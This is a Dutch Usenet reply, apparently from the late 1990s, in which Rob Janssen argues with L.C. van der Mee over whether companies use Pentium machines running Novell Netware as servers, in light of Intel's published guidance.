Heb je trouwens de fresh coffeemaker hack gezien? Scheelt je 20usd per maand :))
Leo.
--
And if you wrong us shall we not revenge? - William Shakespeare
Opinions are strictly mine...
Rob Janssen
In <3475365D...@xirion.nl> "L.C. van der Mee" <vd...@xirion.nl> writes:
>Rob Janssen wrote:
>> En ik wil niet de bedrijven de kost geven die gewoon pentium machines
>> hebben die Novell Netware draaien. Vorig jaar gekocht als het nieuwste
>> van het nieuwste, en nog geen reden gehad om ze te vervangen.
>Als je je op de hoogte had gesteld van de info die Intel verstrekt heeft
>op zijn homepage dan had je daar het volgende kunnen vinden wat betreft
>Novell Netware:
Je loopt om de zaak heen Leo.
Je zegt "bedrijven gebruiken geen Pentium servers" en nou Novell beweert dat
dat evengoed geen probleem zou zijn grijp je dat gauw beet. Maar in
feite is je artikel een bewijs dat bedrijven WEL Pentiums gebruiken
op servers.
Ik had nog een eerdere posting in de hold staan waar ik nog op wilde
reageren, maar ik heb besloten maar geen moeite meer daar aan te besteden.